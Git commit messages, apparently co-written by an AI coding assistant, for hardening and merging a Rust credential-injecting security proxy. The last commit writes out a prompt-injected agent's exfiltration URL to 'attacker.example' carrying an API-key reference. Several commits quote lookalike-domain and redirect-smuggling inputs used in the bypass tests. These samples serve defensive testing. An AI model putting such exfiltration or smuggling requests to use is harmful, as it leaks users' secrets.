Running notes captured while inventorying security-proxy and
onecli-client for the merge. Each finding is non-obvious and changes
what the consolidation PR needs to look like:

1. Dual env-var conventions (`ZEROGATE_KEY_*` vs `<NAME>_API_KEY`) —
   users setting one won't be found by code reading the other.
2. Provider detection by host vs URL-path — both useful; unified
   gateway accepts both.
3. Auth-header scheme inconsistency — onecli-client only emits Bearer
   (plus brave), which breaks anthropic (wants x-api-key). Likely
   hidden because nobody tested anthropic through onecli.
4. Config schema divergence — agents.json richer than onecli's
   convention-inferred names; keep agents.json as canonical.
5. Resolver-vs-cache — onecli resolves on demand, security-proxy
   caches at startup only. Rotation is silently broken today.
6. Hardcoded `vault.enjyn.com` fallback — flagged for cleanup in
   rename pass; fix during consolidation since the file is already
   being touched.
7. Policy enforcement is aspirational — clashd is not called on every
   request; gateway path lacks the policy hook.
8. Substitution is greenfield — not a migration; #28 should land a
   stub module so #29 is a focused body-fill.
9. (meta) LLM-written tests need independent review — recorded here
   alongside task #34 and as a process note for #29/#30/#31 TDD.
10. e2e onecli_proxy.rs tests opt-out when onecli isn't running —
    repoint to security-proxy in #28.

Plus a running punch-list of the concrete changes the consolidation
PR should make.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

Security-proxy now shares onecli-client's vault resolver rather than
its own parallel startup-time env scan. Per-request, on cache miss,
it consults env → fnox → vaultwarden and caches the result. This
fixes the silently-broken rotation behaviour documented in
`docs/rfcs/consolidation-findings.md` finding #5: previously, a
rotated key added to env or fnox after security-proxy started was
invisible until restart.

Changes:
- Add `onecli-client = { path = "../onecli-client" }` as a path dep.
- New `CredentialInjector::ensure_cached(provider) -> bool` that
  returns fast when the DashMap already has the provider, else calls
  `onecli_client::vault::get_secret(provider)` and inserts on success.
- Public wrapper `detect_provider_pub(host)` so the proxy hot path can
  determine the provider name without duplicating the pattern table.
- Proxy.rs resolves + caches before calling inject() on each request.
- Two behavior tests covering cache-hit (no resolver call) and
  nothing-resolves (cache stays clean, no `Bearer ""` footgun).
  Written in given/when/then doc form as per today's test-quality
  review discussion.

Left for follow-up commits on this branch:
- Merge onecli-client's `/vault/:secret` + `/proxy/:provider` routes
  into security-proxy (move the handlers, then delete main.rs).
- Reconcile env-var conventions (ZEROGATE_KEY_* vs <NAME>_API_KEY —
  finding #1).
- Per-provider auth header schemes (finding #3 — onecli only does
  Bearer; security-proxy has anthropic's x-api-key path).
- Remove hardcoded `vault.enjyn.com` fallback (finding #6).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

…#6)

Per CLAUDE.md "Hard-coded fallback URLs": env vars for infra endpoints
should be mandatory, not silently defaulted to a specific host. The
prior default leaked a deployment-specific domain to anyone reading
the repo and would silently hit the wrong vault server when users
forgot to set the env.

Also: previously the function only bailed when the token was empty —
if the user set ONECLI_VAULT_TOKEN but forgot ONECLI_VAULT_URL, we'd
try to GET `/api/ciphers` against an empty base, producing a confusing
reqwest error. Now both are required; the bail message names exactly
which one is missing.

Existing tests still pass (24 in onecli-client lib). Note that
`fnox_failure_falls_through_to_vault_error` on feat/fnox-integration
asserts against the old "No ONECLI_VAULT_TOKEN" substring; its
alternative-phrase matcher ("not found") covers the new message, so
that test should still pass after merge. Worth verifying when the
branches reconcile.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

… audit

The test-quality audit subagent (see `docs/rfcs/test-quality-audit.md`)
surfaced two real security bugs where substring-contains semantics let
carefully-crafted URLs bypass the intended controls:

1. detect_provider — `host.contains("openai.com")` matched
   `api.openai.com.evil.example`, meaning an attacker-registered domain
   could trigger OpenAI-credential injection for their own server.
   Fixed by replacing the contains list with a `(domain, provider)` table
   that matches on DNS-label boundary: host is the domain exactly, OR
   ends with `.<domain>`. Added `detect_provider_rejects_lookalike_suffix_hosts`
   (6 lookalike cases) and `_accepts_real_subdomains` (positive
   companion) using given/when/then doc style.

2. check_bypassed — `url.contains(pattern)` matched
   `https://evil.com/?redirect=localhost`, smuggling a request past
   scanning because the bypass-list string appeared anywhere in the
   URL. Fixed by parsing the URL, extracting the host, and matching
   patterns against the host only; wildcards are now anchored regexes
   over the full host rather than free-floating substrings. Failure
   on URL parse is fail-closed (do not bypass). Added
   `check_bypassed_rejects_host_string_embedded_in_path` with 4
   smuggling cases.

Also from the audit:
- Deleted `scanner_test.rs` — was never wired into `lib.rs` so the 6
  tests inside were dead code that made the coverage look better than
  it was. If the worthwhile pieces (concurrent_scans, large_payload)
  matter, rewrite them inline in scanner.rs.
- Deleted `test_scan_performance_sanity` — <1s threshold is flaky by
  design on shared CI runners and tested nothing about correctness.
  Perf assertions belong in a criterion benchmark.

Also lands: `docs/rfcs/test-quality-audit.md` — the full audit with
KEEP/REWRITE/DELETE triage for 47 tests across onecli-client and
security-proxy, plus missing-coverage gaps and top-6 follow-up priorities.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

…reen

Per the test-quality audit flagging `integration.rs` as silent-green:
if the gateway wasn't running, the Err arm did `println!` and passed,
so an outage looked identical to a successful block. Now: `.expect(...)`
on the Err arm with a clear message telling the developer to start the
gateway first.

The tests remain `#[ignore]` so CI still skips them; only
`cargo test -- --ignored` exercises this path, and in that mode a
network failure is a test failure rather than a green herring.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

…icy docs

Two small cleanups driven by the test audit and consolidation findings:

1. Finding #1: `load_from_env` now emits a tracing::warn log whenever a
   `ZEROGATE_KEY_*` env var is encountered, nudging operators to the
   standard `<NAME>_API_KEY` convention that the shared resolver
   understands. The old path still populates the cache so existing
   deployments don't break; a future PR removes it.

2. Audit finding: `ensure_cached`'s doc-comment claimed "first-write-wins"
   but the covered `test_add_overwrites` test proves `add()` is
   last-write-wins. Both are true — `ensure_cached` itself never
   overwrites, `add` always does. The doc is rewritten to state the
   contract precisely: rotation via direct `add()` takes effect
   immediately, rotation via env/fnox/vault does NOT until the cache
   entry is cleared or the service restarts. TTL/invalidation flagged
   as follow-up.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

…oute

Part of #28 consolidation. Moves the `/vault/:secret` direct-read
endpoint from `onecli-client/src/main.rs` (the onecli binary) into
security-proxy as a step toward deleting the onecli binary entirely.

Also extracts the axum router construction into a dedicated
`security_proxy::router::build_app(state)` function. Before this, the
router was inline in main.rs and tests either (a) couldn't exercise
the real wiring or (b) had to duplicate it (with drift risk). Now the
binary and tests call the same builder.

Two behavioral tests in `tests/vault_route.rs`:

1. `vault_route_returns_resolved_secret` — given `T1_API_KEY=hello`,
   a GET /vault/t1 returns 200 with the resolved token. Catches route
   not registered / handler JSON shape / resolver not consulted / the
   `<NAME>_API_KEY` naming convention drifting.
2. `vault_route_returns_404_for_missing_secret_with_bland_message` —
   catches a footgun specifically: the handler must not render
   `e.to_string()` in the error body, because resolver errors can
   name the env vars probed and the vault URL (shape-of-store
   leakage).

Both written in given/when/then doc style; each exercises the real
server via an in-process listener on an ephemeral port.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

… tests

Two improvements landing together because they're linked:

1. **Default config was not self-consistent.** `mitm_enabled: true`
   with `ca_cert_path: None, ca_key_path: None` — MITM requires a CA
   to issue leaf certs, so starting with the Default config would
   fail at startup. Flipped to `mitm_enabled: false` so defaults
   actually work; operators who want MITM set both mitm=true AND
   provide the CA paths. (Surfaced by the new self-consistency test
   below — the test *caught its own motivating bug*.)

2. **Rewrote three tautological tests from the audit:**
   - `test_default_config` pinned every constant from the Default impl
     → replaced with `default_bypass_list_includes_loopback` (a real
     invariant) and `default_config_is_self_consistent_for_mitm`
     (the test that found the bug above).
   - `test_config_serialization` only compared `port` → replaced with
     `config_roundtrips_through_json_preserving_every_field` using
     derived PartialEq. Now catches `skip_serializing_if`/field-rename
     regressions instead of only port regressions.
   - `test_verdict_serialization` used brittle `.contains()` substring
     assertions → replaced with `verdict_roundtrips_preserving_each_variant`
     which structurally compares each variant after roundtrip.

Added `PartialEq, Eq` to `GatewayConfig` to enable structural compare
in the roundtrip test (all field types were already PartialEq).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

…mock-backed behavioral

Per test-quality audit 2026-04-24: the previous 7 tests in client.rs
could not fail. Specific offenders:
- `test_client_creation_with_valid_config`: `client.is_ok()` on an
  infallible reqwest builder.
- `test_client_creation_with_custom_config`: duplicate of the above
  with trivial config differences.
- `test_client_get_routes_through_proxy`: comment admitted "we can't
  inspect RequestBuilder internals", test asserted nothing.
- `test_client_post_routes_through_proxy`: same.
- `test_request_builder_method_mapping`: `let _ = get_req` for four
  methods — zero assertions.
- `test_client_url_trailing_slash_stripped`: comment described the
  expected behaviour, body did not check it.
- `test_client_debug_format`: weak assertion on Debug output.

Replaced with 6 tokio+wiremock behavioral tests that send real HTTP
and assert on what the proxy saw:

- `get_forwards_target_url_and_agent_id_to_proxy` — verifies the core
  contract: `X-Target-URL` and `X-OneCLI-Agent-ID` headers are set to
  the expected values. `.expect(1)` catches regressions that would
  send zero or multiple requests.
- `post_preserves_method_through_proxy` — same for POST, different
  status code so the response plumbing is also exercised.
- `request_method_is_preserved_for_get_post_put_delete` — mounts a
  mock per verb, confirms each one is received correctly.
- `trailing_slash_on_proxy_url_does_not_double_up_path` — configures
  the proxy URL with a trailing slash, asserts the inbound path at
  the proxy is `/` (single slash), not `//`.
- `debug_format_does_not_expose_common_credential_fields` — keeps the
  positive assertions (url/agent_id visible) AND adds negative
  assertions that reject tokens a future field-addition might leak
  (`api_key`, `secret`, `token`, `password`, `Bearer`). If someone
  later adds a credential-bearing field and `#[derive(Debug)]` picks
  it up, this fails.
- `newly_built_client_can_send_requests` — one consolidated liveness
  test that replaces the two `is_ok()` construction tests, and
  actually proves the client can send a request.

All 6 tests run under `cargo test` (no ignore). wiremock is already a
dev-dep — no Cargo.toml changes needed.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

Core of task #29 per docs/rfcs/agent-secret-gateway.md §3. Not yet
wired into the proxy hot path — this commit lands the engine as a
standalone module with a solid behavioral test suite so the wiring
commit (next) is a focused, small change.

## API shape

Two-phase, sync:

- `find_refs(input) -> Result<HashSet<String>, SubstitutionError>` —
  extract the set of unique ref names. Fails on malformed or nested
  refs. Caller uses this to drive async resolution (env → fnox →
  vaultwarden, possibly in parallel).
- `substitute(input, resolved_map) -> Result<Cow<str>, SubstitutionError>` —
  render. Returns `Cow::Borrowed(input)` when no refs are present
  (zero allocation). Errors if any ref isn't in the map.

Sync because async closures bind lifetimes we can't easily satisfy; a
two-phase API is cleaner and lets the caller do whatever async pattern
they prefer (join_all, cache, policy-check per name, etc.).

## Contract pinned by tests

13 tests covering:

- no-refs fast-path returns Borrowed (zero alloc)
- single ref substituted; surrounding text preserved
- multiple refs substituted independently
- unresolvable ref → Unresolvable error (fail-closed: caller MUST
  reject the request rather than forwarding the literal name to the
  upstream)
- nested refs rejected at parse time
- resolver output is NOT re-scanned (single pass, no recursion)
- unterminated ref rejected as Malformed (must not treat
  everything-to-EOF as a secret name)
- empty and invalid-char names rejected as Malformed
- UTF-8 multibyte characters preserved around refs
- find_refs deduplicates
- fast-path activates even on input containing a single `{`

## Next (separate commit)

Wire `substitute` into `proxy.rs::intercept` so outbound URL, headers,
and JSON body are passed through it before forwarding upstream. That
commit will need the per-destination allowlist per §11.1 of the RFC
("substitute ANTHROPIC only toward *.anthropic.com") — it's the
security-critical knob.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

Round-2 test quality audit (docs/rfcs/test-quality-audit.md) flagged a
CLAUDE.md violation: `crates/zeroclawed/src/auth.rs` and five other
files included what appeared to be real Telegram numeric IDs
(`8465871195` tied to an `owner`-role identity, `15555550002` for a
`user`-role identity) in fixtures, examples, and tests.

CLAUDE.md "Never commit these to this repo" is explicit that real
chat identifiers (Matrix handles, Discord user-ids, Telegram chat ids)
tied to specific users must not appear in this public repo, even in
test code.

Replaced globally:
- `8465871195` → `7000000001`
- `15555550002` → `7000000002`

Files touched:
- crates/zeroclawed/src/auth.rs (test fixtures + several test bodies)
- crates/zeroclawed/src/commands.rs (test fixtures)
- crates/zeroclawed/src/config.rs (test TOML + assert)
- crates/zeroclawed/src/channels/telegram.rs (test fixtures)
- crates/zeroclawed/src/channels/whatsapp.rs (test fixtures)
- crates/zeroclawed/examples/config.toml (example for external users)

All 33 zeroclawed tests still pass. No production resolver code was
touched — only test fixtures and an example — so the running
production service (which reads the real user config from
~/.zeroclawed/config.toml) is unaffected.

Also includes on this branch (pre-existing diff from prior commits):
- Wiring `{{secret:NAME}}` substitution into the proxy intercept
  pipeline. Substitutes URL refs before bypass-check and forwarding;
  fail-closed on any unresolvable ref so names don't leak to upstream.
- Round-2 audit findings appended to the audit doc (400+ lines).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

Round-2 test quality audit flagged `config/validator.rs` as the
single highest-impact coverage gap: ~290 lines of runtime-error-class
validation (duplicate IDs, dangling agent references, invalid proxy
fields) with a commented-out `mod tests` TODO. This commit closes
the gap with 7 behavioral tests in given/when/then form.

Tests added (all inline, since zeroclawed is a binary-only crate and
has no library surface for integration tests):

- `baseline_minimum_config_validates_clean` — positive baseline so
  future refactors can't silently reject previously-valid input.
- `duplicate_agent_id_is_an_error` — the most common config typo
  (paste-rename where body changes but id doesn't).
- `duplicate_identity_id_is_an_error` — same for identities.
- `malformed_proxy_bind_is_an_error` — catches a class that would
  otherwise fail at startup with an opaque tokio bind error.
- `zero_proxy_timeout_is_an_error` — a zero timeout means hangs
  forever, never intended; must be caught at config-load time.
- `routing_rule_default_to_nonexistent_agent_is_an_error` — the
  "dangling reference" class that silently becomes "agent unavailable"
  at runtime.
- `routing_rule_allowed_list_with_nonexistent_agent_is_an_error` —
  same but for the `allowed_agents` branch (separate code path,
  would not be exercised by the default_agent test alone).

Strategy: each negative test starts from MIN_VALID (a known-good
fixture) and prepends/appends exactly ONE targeted deviation, so any
failure isolates to the invariant under test.

397 existing tests still pass.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

CI's gitleaks scan tripped on two classes of known-good content
introduced by the #28/#29 commits on this branch:

1. Adversarial tests in `check_bypassed_rejects_host_string_embedded_in_path`
   that INTENTIONALLY contain `user:pass@evil.com` URLs and
   `192.168.1.42`-style private IPs embedded in request paths —
   the whole point of those tests is to prove the scanner rejects
   exactly those shapes. Allowlisting specific values (not the
   generic ranges) so the smuggling-test inputs don't trip the rule
   they exist to test against.

2. `docs/rfcs/test-quality-audit.md` and similar design docs that
   discuss secret patterns at length (e.g. example keys in
   illustrative audit snippets). Adding `docs/rfcs/.*\.md$` to the
   path allowlist — human-authored prose shouldn't be entropy-scanned
   against the same bar as production source/configs. The same
   tradeoff already exists for CLAUDE.md.

Still caught (verified):
- generic 192.168.0.0/16, 10.0.0.0/8, 100.64.0.0/10 ranges
- basic-auth in URLs *outside* the specific user:pass@evil.com literal
- Bearer tokens, URL basic auth, and default gitleaks ruleset

Verified locally:
  gitleaks detect --source . --log-opts="e938d7e2^..HEAD"
  → no leaks found (vs 10+ previously)

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

Round-2 audit flagged Http as the only branch in `is_retryable()`
without test coverage. The existing tests cover Unreachable,
RateLimited, PolicyDenied, CredentialNotFound, ApprovalRequired, and
Config — but not Http, even though `is_retryable` explicitly
includes it.

The test builds a real reqwest error by connecting to 127.0.0.1:1
(nothing is ever listening there), converts via the `From` impl,
then asserts both the variant shape and retry behavior. Kept to one
test because the intent is to guard the contract, not enumerate
every possible reqwest error mode.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

Round-2 audit flagged retry.rs as covering only first-try-success and
all-tries-fail — missing exactly the two branches that retry-logic
exists to handle:

1. `retries_until_transient_resolves` — operation fails twice then
   succeeds on attempt 3. Asserts both the return value is
   propagated from the successful attempt AND the call count is 3.
   Catches a regression where the loop short-circuits on first
   success but mishandles the value, or re-attempts after success.

2. `non_retryable_error_aborts_immediately` — operation returns a
   non-retryable PolicyDenied with max_retries=10. Asserts exactly
   one call. Catches a regression where the loop ignores the
   strategy's is_retryable() verdict.

Base delays set to 1ms so the tests complete in milliseconds instead
of the default 100ms × retries.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

Copilot review surfaced several real issues. Fixing them as a batch
since they cluster into three themes:

**Security — info-leak paths**

- crates/onecli-client/src/vault.rs: actually remove the
  `https://vault.enjyn.com` hardcoded fallback. The prior commit
  added a `.is_empty()` guard but left the fallback in place, so the
  guard was dead code (URL would never be empty). Now both URL and
  token come from env directly with no default; missing either →
  bail with a clear message naming the specific variable. Left a
  "do not re-add" comment pointing at CLAUDE.md so the next
  contributor doesn't reintroduce a "helpful" default.
- crates/security-proxy/src/proxy.rs: substitution-failure 403
  response now returns a bland "Request rejected" body; the detailed
  error text is logged server-side at `warn!` so operators can debug
  but never echoed back to the (possibly untrusted) client. The old
  `Request rejected: {e}` path would disclose the ref name the agent
  used, which env vars were probed, etc. — shape-of-store info.
- crates/security-proxy/src/router.rs: vault_handler downgraded from
  `warn!(error = %e, ...)` to `debug!(secret = %name, ...)`. Same
  threat: the resolver's `e.to_string()` can include vault URL and
  probed env var names; logging it at `warn!` keeps those in ops
  dashboards as a side-channel. Debug-level means the information is
  available when investigating but not shipped to every log
  aggregator.

**Security — regex-metacharacter bypass**

- crates/security-proxy/src/proxy.rs `host_matches_pattern`: the
  prior build was `.replace('.', r"\.").replace('*', ".*")` which
  left regex metacharacters (`?`, `+`, `(`, `[`, `{`, `|`, `^`, `$`)
  active if present in user-supplied bypass patterns. Depending on
  the pattern this either widened matches (allow-too-much) or broke
  compilation (allow-nothing). Rebuilt as a true glob: split on
  `*`, `regex::escape` each literal segment, join with `[^.]*`
  (wildcard doesn't cross DNS-label boundaries). New
  `BypassMatcher` enum keeps the pre-compiled regex cached per
  pattern; a follow-up should precompile the whole list at
  `SecurityProxy::new` time, but the builder is already correct.

**Tests — hermetic + readiness**

- crates/security-proxy/tests/vault_route.rs: replace fixed 50ms
  sleep with a `/health` readiness poll (deadline 2s, 5ms between
  attempts). Fixed sleeps flake on loaded CI. Also updated the
  safety comment on `await_holding_lock` to correctly describe why
  the std-Mutex-across-await pattern is actually safe in these
  tests (multi-thread runtime, but no inner tasks re-acquire the
  lock), and named the follow-up options (`tokio::sync::Mutex` or
  `serial_test` crate) rather than asserting incorrect "single
  threaded" semantics.
- crates/security-proxy/src/credentials.rs
  `ensure_cached_returns_false_when_nothing_resolves`: explicitly
  clear `ONECLI_VAULT_URL/TOKEN` before running, and derive the
  provider name from `std::process::id()` so the test can't collide
  with any real secret that might exist in the dev/CI env.

**Docs — rotation + resolver chain**

- crates/security-proxy/src/credentials.rs: expanded the
  `ensure_cached` doc to be explicit about the limitations (first
  resolve wins; no re-resolve; no TTL; concurrent-callers race is
  benign because the resolver is deterministic). Says plainly that
  rotation at runtime requires either calling `add()` directly or a
  TTL/invalidation mechanism that doesn't exist yet.
- crates/security-proxy/src/router.rs: rewrite the `/vault/:secret`
  doc to reference "the shared resolver" rather than naming
  "env → fnox → vaultwarden". That chain is feature-flagged and
  varies by branch; consumers of the router shouldn't bake in a
  specific backend set.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

Builds on the URL-path substitution already in PR #17. Now handles the
two other places an agent can write a `{{secret:NAME}}` ref:

**Headers**
Every non-hop-by-hop header value runs through a new
`resolve_and_substitute()` helper before the upstream request is
built. Header NAMES are never substituted — agents can't usefully
parameterize them and substituting into a key would let a secret
leak as a header name that some middle box logs verbatim.
Fail-closed on any unresolvable ref, same semantics as URL.

**Body** — content-type-gated:
- `application/json`, `application/*+json`,
  `application/x-www-form-urlencoded`, and `text/*` get full
  find-and-substitute.
- Everything else (multipart, binary, unset) takes the defensive
  raw-bytes path: a `memchr`-style scan for `{{secret:`. If found,
  the request is blocked (per RFC §11.8 — an agent must not be
  able to smuggle a ref through an unsupported content-type to
  bypass substitution). If no opener is present, the body passes
  through unchanged.

**Real bug fixed while writing the behavioral tests**
The JSON-body test kept failing with an `IncompleteBody` error at
upstream — substitution can change the body byte length, but the
original `Content-Length` header was being forwarded unchanged.
Fix: strip `content-length` from the forwarded header list so
reqwest recomputes it from the actual payload. This is a latent
bug in the existing intercept pipeline that the URL-only path just
happened not to trigger (URL length changes don't touch body
length), so it's a good thing these tests caught it.

**Tests (4 new, given/when/then)**
- `header_value_with_ref_is_substituted_before_forward` — sets
  env, sends request with `X-Api-Key: {{secret:…}}` through the
  gateway, asserts upstream sees the substituted value.
- `json_body_with_ref_is_substituted_before_forward` — same for
  a POST with a JSON body.
- `ref_in_unsupported_content_type_body_is_blocked` —
  `application/octet-stream` with a ref in the bytes; expect 403,
  upstream never hit (`wiremock.expect(0)`).
- `unresolvable_ref_in_body_blocks_request` — ref in JSON body
  that nothing resolves; expect 403 with error body that does NOT
  include the ref name (same fail-closed discipline as URL path).

All four use a real in-process gateway + wiremock upstream via the
`reqwest::Proxy` client pattern, so they exercise the full intercept
pipeline end-to-end.

Remaining follow-up work:
- Per-destination allowlist (§11.1): "ANTHROPIC_API_KEY may only be
  substituted when forwarding to *.anthropic.com". Needs a config
  shape change; filing as a separate PR.
- Streaming / chunked bodies: the current code buffers the full
  body to substitute; bodies larger than available memory would be
  a problem in theory. In practice we're proxying model-API calls
  with bounded bodies. Add a config cap later if it matters.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

Closes the headline §11.1 attack: a prompt-injected agent calling
\`https://attacker.example/?key={{secret:ANTHROPIC_API_KEY}}\` would,
without this gate, get the substitution dutifully performed and the
value exfiltrated. With this gate, the substitution is refused
BEFORE the resolver is consulted (so the secret value isn't even
loaded into memory for an untrusted destination).

## Config shape

New \`GatewayConfig::secret_destination_allowlist: HashMap<String, Vec<String>>\`:
- Key = secret name (the \`NAME\` from \`{{secret:NAME}}\`)
- Value = list of host patterns (same exact-or-DNS-suffix /
  glob-with-no-dot-crossing semantics as \`bypass_domains\`)

Three behaviors:
- Name absent from map → no restriction (preserves pre-feature
  behavior; opt-in tightening, no breakage on upgrade).
- Name present with empty list → DENY all destinations (explicit
  lockdown for secrets you want to disable substitution for entirely
  without removing the storage).
- Name present with non-empty list → destination host must match at
  least one pattern, else fail-closed.

## Wiring

\`SecurityProxy::is_destination_allowed(secret_name, host)\` consults
the map. \`resolve_and_substitute(input, dest_host)\` runs the gate
BEFORE the vault resolver, so the secret value is never loaded for
a request we're about to reject.

The \`dest_host\` parameter is \`Option<&str>\`:
- \`None\` for URL substitution (the URL itself is what's being
  substituted; host might be inside the substituted region or not
  parseable yet)
- \`Some(host)\` for header and body substitution, derived from
  parsing the already-substituted URL

URL-substituted refs are unrestricted today; the natural caller
discipline is to put refs in headers/body where the destination is
known. A follow-up could add post-substitution URL re-checking if
needed.

## Tests (5 given/when/then, all wiremock-backed end-to-end)

- \`no_allowlist_entry_means_no_restriction\` — preserves pre-feature
  behavior. Failing this test would mean every existing deployment
  breaks on upgrade.
- \`allowlist_with_matching_host_pattern_substitutes\` — positive case.
- \`allowlist_blocks_substitution_to_disallowed_host\` — the headline
  attack: agent constructs request to attacker host with secret ref;
  gateway returns 403, upstream is NEVER hit (\`expect(0)\` confirms),
  body doesn't echo the secret name OR value.
- \`empty_allowlist_locks_secret_completely\` — explicit lockdown
  semantic; distinguishes "absent" from "empty" carefully.
- \`allowlist_wildcard_pattern_matches\` — confirms allowlist reuses
  the same glob host matching as \`bypass_domains\`.

\`config_roundtrips_through_json_preserving_every_field\` updated to
include the new field with both an exact-host and lockdown-empty
example so the existing structural-roundtrip guard catches any
future serde drift.

## Stacks on PR #19

The substitution-body-headers branch added \`resolve_and_substitute\`;
this branch threads \`dest_host\` through it. Review #19 first.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>